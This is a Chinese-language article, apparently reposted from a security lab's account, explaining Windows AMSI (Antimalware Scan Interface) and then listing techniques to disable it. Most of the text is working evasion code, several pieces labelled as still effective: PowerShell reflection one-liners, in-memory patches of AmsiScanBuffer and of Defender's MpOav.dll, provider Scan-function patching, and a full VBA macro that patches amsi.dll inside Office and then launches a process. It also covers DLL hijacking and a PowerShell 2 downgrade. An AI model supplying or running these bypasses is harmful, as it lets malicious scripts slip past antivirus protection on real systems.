1.什么是AMSI
AMSI全称(Antimalware Scan Interface),反恶意软件扫描接口
反恶意软件扫描接口是允许应用程序与反恶意软件产品集成的标准
例如,在可编写脚本的应用程序中,当脚本准备好提供给脚本引擎时,应用程序可以调用Windows AMSI API,请求在执行之前扫描内容。
AMSI有效的原因是,无论代码经过多么复杂的模糊处理和混淆,当脚本需要在脚本宿主中运行时,都必须是明文未经混淆的代码形式执行。比如powershell代码,无论经过多复杂的模糊处理或者编码(比如Base64),但是当需要执行powershell代码是必须要解码之后符合powershell代码规范才能执行。
2.AMSI架构
任何应用程序(消费者)都可以请求扫描内容
任何安全供应商(供应商)都可以注册以接收扫描请求
操作系统是中介程序amsi.dll,必须由任何受amsi保护的应用程序导入
3.受AMSI影响的产品
PowerShell (>2.0)
JavaScript
VBScript
VBA (office macro)
WMI
User Account Control (UAC)elevations
Excel 4.0 macros
Volume shadow copy operations
4.AMSI函数
函数名 | 作用 |
---|---|
AmsiCloseSession | 关闭由 AmsiOpenSession 打开的会话。 |
AmsiInitialize | 初始化 AMSI API。 |
AmsiNotifyOperation | 向反恶意软件提供程序发送任意操作的通知。 |
AmsiOpenSession | 打开可在其中关联多个扫描请求的会话。 |
AmsiResultIsMalware | 确定扫描结果是否指示应阻止内容。 |
AmsiScanBuffer | 扫描缓冲区中的内容中寻找恶意软件。 |
AmsiScanString | 扫描字符串中的恶意软件。 |
AmsiUninitialize | 删除 AmsiInitialize最初打开的 AMSI API 实例。 |
5.禁用AMSI
断开AMSI链条中的任何一个环节
5.1.应用程序侧的Unhook
各种应用程序是通过AMSI这个接口被检测的,可以通过断开某个应用程序(比如powershell)到AMSI的路线来使这个应用程序(比如powershell)不被AMSI扫描,从而绕过AMSI。
取决于受AMSI保护的应用程序如何使用AMSI,了解应用程序的工作原理,使其在不调用AmsiScanBuffer的情况下执行代码。
5.1.1使用反射
首先了解powershell是如何调用AMSI的
powershell可以通过反射破坏Amsi的初始化相关对象(amsiInitFailed、amsiSession、amsiContext),使其不能正常初始化,从而不对当前进程进行扫描。
(这是2016年提出的概念脚本,现在AMSI会识别并拦截了)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null); $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem)
改变上面的第一个脚本,使用base64绕过(此脚本也已经失效)
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
再次修改脚本,全部使用base64绕过(目前可用)
function b64decode { param ($encoded) $decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) return$decoded } $1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=") $2 = b64decode("YW1zaUluaXRGYWlsZWQ=") $3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==") [Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)
最终绕过AMSI效果如下:
(同样有效的脚本)
$w = 'System.Management.Automation.A';$c= 'si';$m= 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}'-f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed'-f $c),'NonPublic,Static') $field.SetValue($null,$true)
5.2.patch AMSI.DLL代码
AMSI的一个主要组件被实现为DLL,该DLL被加载到每个受AMSI保护的进程中,此DLL充当托管PowerShell代码和COM反恶意软件提供程序之间的连接器。因此通过修补AMSI.DLL的代码数据部分,攻击者可以破坏AMSI链。
5.2.1patch AmsiScanBuffer函数
AmsiScanBuffer()函数扫描充满恶意软件内容的缓冲区,攻击者可以修补AmsiScanBuffer的任何部分(或其调用的其他代码片段),并根据其意愿使其返回AMSI_RESULT值。
(下面示例代码目前可用)
$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $LoadLibrary = [Win32]::LoadLibrary("am"+ "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary,"Amsi"+ "Scan"+ "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) #E_INVALIDARG [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
为什么$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)?
这是因为在64位下HRESULT:0x80070057 (E_INVALIDARG)的字节码是0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3。而E_INVALIDARG代表传入的参数之一无效。当AmsiScanBuffer因为参数错误而导致返回代码是E_INVALIDARG时,实际扫描结果为0即AMSI_RESULT_CLEAN。
5.2.2patch AMSI Context 结构体
AMSI Context 结构体在AmsiInitialize例程期间初始化,存储在AMSI保护的进程内存中,可以通过搜索“AMSI”签名在内存中找到AMSI Context 结构体或找到指向它的全局指针,覆盖此结构将导致AmsiScanBuffer失效。
5.3.COM Server劫持
AMSI提供程序通过在HKLMSoftwareClassesCLSID中创建CLSID条目并在HKLMSSoftwareMicrosoftAMSIproviders中注册相同的CLSID来注册自己。当AMSI在主机进程中初始化时,它将枚举Providers注册表项中列出的每个CLSID,并通过导入InProcServer32子项中的DLL来初始化COM对象。
IAntimalwareProvider是构成AMSI主要关键的接口。想要提供反恶意软件服务的每个AMSI提供程序都需要实现lAntimalwareProvider COM接口。
劫持AMSI提供程序COM服务器可能导致绕过AMSI,而且可通过注册表监控轻松检测。
5.4.patch AMSI提供程序
这种方法将导致AMSI初始化过程失败,从而破坏AMSI链。通过修补amsi.dll区域外的非受监控内存来完成
为了理解它,让我们深入到AMSI内部
AMSI Initialization
任何想要使用AMSI服务的提供商都必须调用Amsilnitialize函数,用信息填充HAMSICONTEXT。下面是简化的代码
我们会破坏一些不太直观的东西来保护提供程序本身,修补提供程序的DLL中DllGetClassObject函数的序言字节,并干扰AMSI的初始化过程。
AmsiUninitialize
每个使用AMSI的应用程序都有一个代码,用于取消初始化AMSI,那就是AmsiUninitialize函数。在PowerShell中,我们可以使用反射来调用此代码。在AmsiUtils类中声明一个名为Uninitialize()的函数,为我们取消初始化AMSI。
5.4.1Patch Microsoft MpOav.dll
基于此原理可以得到一个bypass脚本,下面是一个示例patch Microsoft提供程序的DLL(MpOav.DLL),可以通过适当的查询注册表项来查找所有提供程序的DLL。
(下面示例代码目前仍然有效)
$APIs = @" using System; using System.Runtime.InteropServices; public class APIs { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $APIs $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) $LoadLibrary = [APIs]::LoadLibrary("MpOav.dll") $Address = [APIs]::GetProcAddress($LoadLibrary, "DllGetClassObject") $p = 0 [APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) $object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils') $Uninitialize = $object.GetMethods("NonPublic,static") | Where-Object Name -eq Uninitialize $Uninitialize.Invoke($object,$null)
5.4.2替换Add-Type Patch Microsoft MpOav.dll
Add-Type会将代码写入磁盘上的临时文件,然后使用csc.exe 将此代码编译为二进制文件,落地到磁盘上可能导致AV检测
解决方案:反射
(下面的示例代码是使用反射来代替Add-Type)
functionGet-ProcAddress{ Param( [Parameter(Position = 0, Mandatory = $True)] [String] $Module, [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And$_.Location.Split('\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function return$GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } functionGet-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1)] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $hModule = $LoadLibrary.Invoke("MpOav.dll") $DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject") $p = 0 $VirtualProtect.Invoke($DllGetClassObjectAddress, [uint32]6, 0x40, [ref]$p) $ret_minus = [byte[]] (0xb8, 0xff, 0xff, 0xff, 0xff, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($ret_minus, 0, $DllGetClassObjectAddress, 6) $object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls') $Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize $Uninitialize.Invoke($object,$null)
5.4.3扫描拦截
我们可以拦截AMSIs扫描过程而不是初始化(如经典AmsiScanBuffer patch代码,可以不需要接触amsi.dl就可以完成)
AmsiScanBuffer为每个注册的AMSI提供程序调用IAntimalwareProvider::Scan() 如果提供程序返回的结果不是AMSI_RESULT_NOT_DETECTED AMSI_RESULT_CLEAN,则扫描将停止并返回结果,而不调用其余提供程序,比如:AmsiScanBuffer、CAmsiBufferStream、CAmsiAntimalware::Scan。
所以需要找到提供商的扫描函数
调用AmsiInitialize将为我们生成一个新的HAMSICONTEXT,然后将它指向提供程序DLL中的相同扫描函数,我们可以修补每个提供商的 scan函数,所以它将返回而不填写AMSI_RESULT(将保持AMSI_RESULT_CLEAN)。
(下面的示例代码目前仍然可用)
$Apis = @" using System; using System.Runtime.InteropServices; public class Apis { [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("amsi")] public static extern int AmsiInitialize(string appName, out Int64 context); } "@ Add-Type $Apis $ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3) $p = 0; $i = 0 $SIZE_OF_PTR = 8 [Int64]$ctx = 0 [Apis]::AmsiInitialize("MyScanner", [ref]$ctx) $CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16) $AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64) # Loop through all the providers while($AntimalwareProvider -ne 0) { # Find the provider's Scan function $AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider) $AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24) # Patch the Scan function Write-host "[$i] Provider's scan function found!"$AmsiProviderScanFunc [APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6) $i++ $AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64+ ($i*$SIZE_OF_PTR)) }
5.5 更多AMSI bypass技术
5.5.1 使用PowerShell版本2
切换powershell版本:powershell -version 2
在脚本中:在脚本开头加入#requires -version 2
这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版 本执行
5.5.3 amsi.dll劫持
LoadLibrary函数导入dll的时候没有使用绝对路径,因此程序会首先在当前目录下寻找dll,因此可以在 powershell.exe同目录下(C:WindowsSystem32WindowsPowerShellv1.0)放一个伪造amsi.dll,就可以实现DLL劫持,而不会调用系统的amsi.dll(C:WindowsSystem32asmi.dll)
dll导入优先级如下:
进程对应的应用程序所在目录 系统目录(通过 GetSystemDirectory 获取) 16位系统目录 Windows目录(通过 GetWindowsDirectory 获取) 当前目录 PATH环境变量中的各个目录
5.5.4 宏代码绕过AMSI
详细说明可查阅:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/
Private DeclarePtrSafe FunctionGetProcAddress Lib "kernel32"(ByVal hModule AsLongPtr, ByVal lpProcName AsString) AsLongPtr PrivateDeclarePtrSafe FunctionLoadLibrary Lib "kernel32"Alias"LoadLibraryA"(ByVal lpLibFileName AsString) AsLongPtr PrivateDeclarePtrSafe FunctionVirtualProtect Lib "kernel32"(lpAddress AsAny, ByVal dwSize AsLongPtr, ByVal flNewProtect AsLong, lpflOldProtect AsLong) AsLong PrivateDeclarePtrSafe Sub ByteSwapper Lib "kernel32.dll"Alias"RtlFillMemory"(Destination AsAny, ByVal LengthAsLong, ByVal Fill AsByte) DeclarePtrSafe Sub Peek Lib "msvcrt"Alias"memcpy"(ByRef pDest AsAny, ByRef pSource AsAny, ByVal nBytes AsLong) PrivateDeclarePtrSafe FunctionCreateProcess Lib "kernel32"Alias"CreateProcessA"(ByVal lpApplicationName AsString, ByVal lpCommandLine AsString, lpProcessAttributes AsAny, lpThreadAttributes AsAny, ByVal bInheritHandles AsLong, ByVal dwCreationFlags AsLong, lpEnvironment AsAny, ByVal lpCurrentDriectory AsString, lpStartupInfo AsSTARTUPINFO, lpProcessInformation AsPROCESS_INFORMATION) AsLong PrivateDeclarePtrSafe FunctionOpenProcess Lib "kernel32.dll"(ByVal dwAccess AsLong, ByVal fInherit AsInteger, ByVal hObject AsLong) AsLong PrivateDeclarePtrSafe FunctionTerminateProcess Lib "kernel32"(ByVal hProcess AsLong, ByVal uExitCode AsLong) AsLong PrivateDeclarePtrSafe FunctionCloseHandle Lib "kernel32"(ByVal hObject AsLong) AsLong PrivateTypePROCESS_INFORMATION hProcess AsLong hThread AsLong dwProcessId AsLong dwThreadId AsLong EndType PrivateTypeSTARTUPINFO cb AsLong lpReserved AsString lpDesktop AsString lpTitle AsString dwX AsLong dwY AsLong dwXSize AsLong dwYSize AsLong dwXCountChars AsLong dwYCountChars AsLong dwFillAttribute AsLong dwFlags AsLong wShowWindow AsInteger cbReserved2 AsInteger lpReserved2 AsLong hStdInput AsLong hStdOutput AsLong hStdError AsLong EndType Const CREATE_NO_WINDOW = &H8000000 Const CREATE_NEW_CONSOLE = &H10 FunctionLoadDll(dll AsString, func AsString) AsLongPtr Dim AmsiDLL AsLongPtr AmsiDLL = LoadLibrary(dll) LoadDll = GetProcAddress(AmsiDLL, func) EndFunction FunctionGetBuffer(LeakedAmsiDllAddr AsLongPtr, TraverseOffset AsInteger) AsString Dim LeakedBytesBuffer AsString Dim LeakedByte AsLongPtr Dim TraverseStartAddr AsLongPtr OnErrorResumeNext TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset Dim i AsInteger Fori = 0ToTraverseOffset Peek LeakedByte, ByVal (TraverseStartAddr + i), 1 IfLeakedByte < 16 Then FixedByteString = "0" & Hex(LeakedByte) LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString Else LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte) End If Next i GetBuffer = LeakedBytesBuffer End Function Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr Dim memOffset As Integer memOffset = (InstructionInStringOffset - 1) / 2 FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset End Function Sub x64_office() Dim LeakedAmsiDllAddr As LongPtr Dim ScanBufferMagicBytes As String Dim ScanStringMagicBytes As String Dim LeakedBytesBuffer As String Dim AmsiScanBufferPatchAddr As LongPtr Dim AmsiScanStringPatchAddr As LongPtr Dim TrvOffset As Integer Dim InstructionInStringOffset As Integer Dim Success As Integer ScanBufferMagicBytes = "4C8BDC49895B08" ScanStringMagicBytes = "4883EC384533DB" TrvOffset = 352 Success = 0 LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize") LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanbuffer magicbytes :/" Else AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3") Success = Success + 1 End If InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanstring magicbytes :/" Else AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3") Success = Success + 1 End If If Success = 2 Then Call CallMe End If End Sub Sub x32_office() Dim LeakedAmsiDllAddr As LongPtr Dim ScanBufferMagicBytes As String Dim ScanStringMagicBytes As String Dim LeakedBytesBuffer As String Dim AmsiScanBufferPatchAddr As LongPtr Dim AmsiScanStringPatchAddr As LongPtr Dim TrvOffset As Integer Dim InstructionInStringOffset As Integer Dim Success As Integer ScanBufferMagicBytes = "8B450C85C0745A85DB" ScanStringMagicBytes = "8B550C85D27434837D" TrvOffset = 300 Success = 0 LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize") LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanbuffer magicbytes :/" Else AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Debug.Print Hex(AmsiScanBufferPatchAddr) Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "31") ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H" & "C0") Success = Success + 1 End If InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanstring magicbytes :/" Else AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Debug.Print Hex(AmsiScanStringPatchAddr) Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31") ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2") Success = Success + 1 End If If Success = 2 Then Call CallMe End If End Sub Sub TestOfficeVersion() #If Win64 Then Call x64_office #ElseIf Win32 Then Call x32_office #End If End Sub Sub CallMe() Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim lSuccess As Long Dim lRetValue As Long lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo) lRetValue = CloseHandle(pInfo.hThread) lRetValue = CloseHandle(pInfo.hProcess) End Sub
6. 总结
powershell绕过方法不适合mimikatz,可以执行powershell版的mimikatz,但是会被杀毒软件(defender等)查杀。
由于AMSI.DLL和提供程序的DLL加载到潜在攻击者所在的相同内存空间,因此破坏操作更容易。
AMSI提供程序的内存以及AMSI.dll内存空间应受到保护
AMSI的Un-initialization可能会让我们找到通过干扰AMSI初始化过程来禁用AMSI的新方法,一种不同于当前干扰AMSI扫描过程的技术。
审核编辑:刘清
-
dll
+关注
关注
0文章
115浏览量
45386 -
VBA
+关注
关注
0文章
18浏览量
11900 -
Com
+关注
关注
1文章
107浏览量
40615 -
uac
+关注
关注
0文章
9浏览量
4113
原文标题:AMSI绕过原理与实践
文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论